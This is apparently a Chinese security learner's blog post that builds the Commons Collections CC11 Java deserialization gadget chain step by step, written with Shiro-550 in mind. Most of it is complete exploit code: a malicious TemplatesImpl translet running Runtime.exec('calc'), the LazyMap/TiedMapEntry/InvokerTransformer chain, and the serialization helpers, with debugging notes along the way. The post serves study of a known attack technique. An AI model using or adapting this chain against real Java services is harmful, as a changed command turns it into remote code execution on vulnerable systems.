本文最后更新于 2026-02-10T16:18:48+08:00
学习文章:https://drun1baby.top/2022/07/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8709-CC11%E9%93%BE/
前言
文章里很多就是重新把CC2和CC6,我也懒得过一遍了,所以后面就按照自己的想法来写一遍
环境搭建
和之前 CC1 一样的环境:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
- CommonsCollections 3.1-3.2.1
- jdk 版本无限制(这里用的 jdk8u65 )
分析链子+构造EXP
CC11链是 CC2+CC6 的结合体,这里学习一下是因为在 shiro550 的时候有用到CC11链来打,因为CC11链可以不用到数组
CC2笔记:https://yschen20.github.io/2026/01/29/CC2%E9%93%BE/
CC6笔记:https://yschen20.github.io/2026/01/07/CC6%E9%93%BE/
都是学过的就边分析边构造了
分析构造
先把工具方法都写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static void setField(Object obj, String fieldName, Object value) throws Exception { java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; }
|
还有要加载的恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|
然后是main方法,首先尾部是和 CC2 一样通过加载 TemplatesImpl 字节码执行代码,直接把代码复制过来
1 2 3 4 5 6
| TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CC11"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
|
这里就是要去触发templates.newTransformer(),加上测试一下可以弹计算器,后续这一句要删去

中间就是像CC3链里的一样,借用CC1链的Transformer[]和ChainedTransformer

1 2 3 4 5
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
然后是头部和 CC6 一样的,也是直接复制粘贴过来
1 2 3 4 5 6 7
| Map map = new HashMap(); LazyMap decorator = (LazyMap) LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,"key"); HashMap<Object,Object> hashMap = new HashMap<>(); setField(tiedMapEntry,"map",new HashMap()); hashMap.put(tiedMapEntry,"123"); setField(tiedMapEntry,"map",decorator);
|
最后加个序列化和反序列化方法测试一下
先序列化,没问题,也没有提前弹计算器

然后反序列化成功弹计算器了

逻辑图

完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CC11"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap(); LazyMap decorator = (LazyMap) LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,"key"); HashMap<Object,Object> hashMap = new HashMap<>(); setField(tiedMapEntry,"map",new HashMap()); hashMap.put(tiedMapEntry,"123"); setField(tiedMapEntry,"map",decorator);
serialize(hashMap);
}
public static void setField(Object obj, String fieldName, Object value) throws Exception { java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
分析构造
不使用Transformer[]的话就要像CC2一样用InvokerTransformer#transform去反射调用到TemplatesImpl.newTransformer

1
| InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
|
还有就是要想办法将上面构造好的templates传进去,就是要传给InvokerTransformer.transform,所以可以在这个函数的入口处打一个断点,看看会是谁传进来的

然后把之前的带数组的代码注释掉,替换成使用InvokerTransformer

然后开始调试

可以看到这里传入的是key,也就是下面这里

这里的key就是LazyMap.get()的参数key,看下图这里,会将key作为参数传给transform()方法

可以从逻辑图来看,就是原本传给ChainedTransformer.transform的东西,现在直接传给InvokerTransformer.transform

所以就可以通过这里将构造好的templates传进去

然后运行试试,序列化没问题

反序列化成功弹计算器了

逻辑图

完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CC11"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map map = new HashMap(); LazyMap decorator = (LazyMap) LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,templates); HashMap<Object,Object> hashMap = new HashMap<>(); setField(tiedMapEntry,"map",new HashMap()); hashMap.put(tiedMapEntry,"123"); setField(tiedMapEntry,"map",decorator);
serialize(hashMap); unserialize("ser.bin"); }
public static void setField(Object obj, String fieldName, Object value) throws Exception { java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC11 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CC11"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); Map map = new HashMap(); LazyMap decorator = (LazyMap) LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,templates);
HashMap<Object,Object> hashMap = new HashMap<>(); setField(tiedMapEntry,"map",new HashMap()); hashMap.put(tiedMapEntry,"123"); setField(tiedMapEntry,"map",decorator);
serialize(hashMap); unserialize("ser.bin"); }
public static void setField(Object obj, String fieldName, Object value) throws Exception { java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName); f.setAccessible(true); f.set(obj, value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|